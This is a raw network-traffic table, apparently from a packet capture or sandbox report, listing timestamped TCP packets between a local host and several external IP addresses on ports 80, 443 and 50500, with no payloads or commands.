Apr 24, 2024 14:43:18.513422012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.513433933 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.513446093 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.513456106 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.513483047 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.513520002 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.513586998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.513700962 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.513751984 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514002085 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514017105 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514028072 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514050961 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514055014 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514069080 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514082909 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514090061 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514139891 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514139891 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514257908 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514272928 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514295101 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514326096 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514358997 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514373064 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514390945 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514405966 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514417887 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514421940 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514432907 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514446974 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514448881 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514467955 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514497042 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514497042 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514509916 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514522076 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514533043 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514544010 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514544964 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514559984 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514565945 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514574051 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514586926 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514599085 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514600039 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514600039 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514614105 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514616013 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514635086 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514724016 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514800072 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514815092 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514826059 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514837027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514849901 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514856100 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514866114 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514868021 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514882088 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514889956 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514894962 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514908075 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514911890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514919996 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514930964 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514933109 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514945984 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514946938 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514960051 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514969110 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514972925 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514985085 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.514993906 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.514996052 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515007973 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515012980 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515022993 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515036106 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515037060 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515048027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515058041 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515060902 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515074968 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515079975 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515086889 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515100956 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515103102 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515114069 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515144110 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515144110 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515175104 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515217066 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515217066 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515259981 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515327930 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515542030 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515554905 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515566111 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515578032 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515583992 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515592098 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515609026 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515611887 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515655041 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515655041 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515677929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515716076 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515744925 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515800953 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.515839100 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515927076 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515989065 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.515995026 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.516032934 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516123056 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.516253948 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516268015 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516280890 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516297102 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.516324997 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.516349077 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516495943 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516537905 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.516541958 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516604900 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516612053 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.516683102 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516733885 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516756058 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.516782999 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.516866922 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.517327070 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.517374039 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.518224001 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.518265963 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.518862009 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.519000053 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.519799948 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.519890070 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521347046 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521362066 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521374941 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521387100 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521400928 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521409035 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521409035 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521445990 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521524906 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521539927 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521550894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521564007 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521574974 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521586895 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521599054 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521599054 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521599054 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521611929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521615028 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521627903 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521641970 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521650076 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521663904 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521697998 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521764040 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521778107 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521790028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521801949 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521812916 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521814108 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521827936 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521836042 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521836042 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521856070 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521862030 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521873951 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521883965 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521887064 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521899939 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521908998 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521914005 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521927118 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521938086 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521940947 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521945000 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521954060 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521970034 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521985054 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.521989107 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.521997929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.522002935 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.522011042 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.522026062 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.522039890 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.522046089 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.522046089 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.522066116 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.522100925 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.556683064 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.556915998 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:19.651844978 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:20.047090054 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:20.128431082 CEST	49714	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:20.416088104 CEST	80	49714	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:20.416179895 CEST	49714	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:20.417171955 CEST	49714	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:20.705075026 CEST	80	49714	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:20.713988066 CEST	80	49714	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:20.714008093 CEST	80	49714	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:20.714073896 CEST	49714	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:20.714117050 CEST	49714	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:20.715425014 CEST	49714	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:20.716777086 CEST	49715	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.002264023 CEST	80	49715	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.002351999 CEST	49715	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.002722025 CEST	80	49714	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.002784967 CEST	49715	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.288176060 CEST	80	49715	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.288431883 CEST	80	49715	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.288448095 CEST	80	49715	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.288481951 CEST	49715	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.288507938 CEST	49715	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.288891077 CEST	49715	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.289309025 CEST	49716	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.574265003 CEST	80	49715	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.574681997 CEST	80	49716	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.574757099 CEST	49716	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.574933052 CEST	49716	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.576878071 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.576915979 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.577033997 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.577464104 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:21.577476025 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.861015081 CEST	80	49716	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.863976955 CEST	80	49716	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:21.864032030 CEST	49716	80	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:22.163786888 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:22.163893938 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:22.169761896 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:22.169790030 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:22.170057058 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:22.170161009 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:22.175744057 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:22.220124960 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:22.774291039 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:22.774373055 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.062329054 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.062361002 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.062403917 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.062417984 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.062447071 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.062473059 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.062477112 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.062505007 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.062520981 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.062931061 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.062975883 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.063455105 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.063462019 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.063652992 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.349608898 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.349644899 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.349720001 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.349739075 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.349797964 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.350231886 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.350255013 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.350298882 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.350302935 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.350330114 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.350354910 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.390748024 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.390830040 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.390913963 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.390924931 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.390969992 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.390989065 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.637203932 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.637233973 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.637445927 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.637465954 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.637547016 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.637963057 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.637984991 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.638060093 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.638066053 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.638115883 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.638601065 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.638631105 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.638673067 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.638676882 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.638710022 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.638734102 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.639288902 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.639313936 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.639378071 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.639381886 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.639416933 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.639436007 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.639895916 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.639969110 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.640043974 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.640047073 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.640077114 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.640105963 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.678000927 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.678059101 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.678121090 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.678143024 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.678189993 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.678211927 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.924312115 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.924367905 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.924438000 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.924453020 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.924483061 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.924506903 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.925182104 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.925206900 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.925277948 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.925282955 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.925326109 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.925930977 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.925956964 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.926043034 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.926043034 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.926048994 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.926094055 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.926776886 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.926805973 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.926847935 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:23.926851988 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:23.926903963 CEST	49717	443	192.168.2.8	185.199.220.53
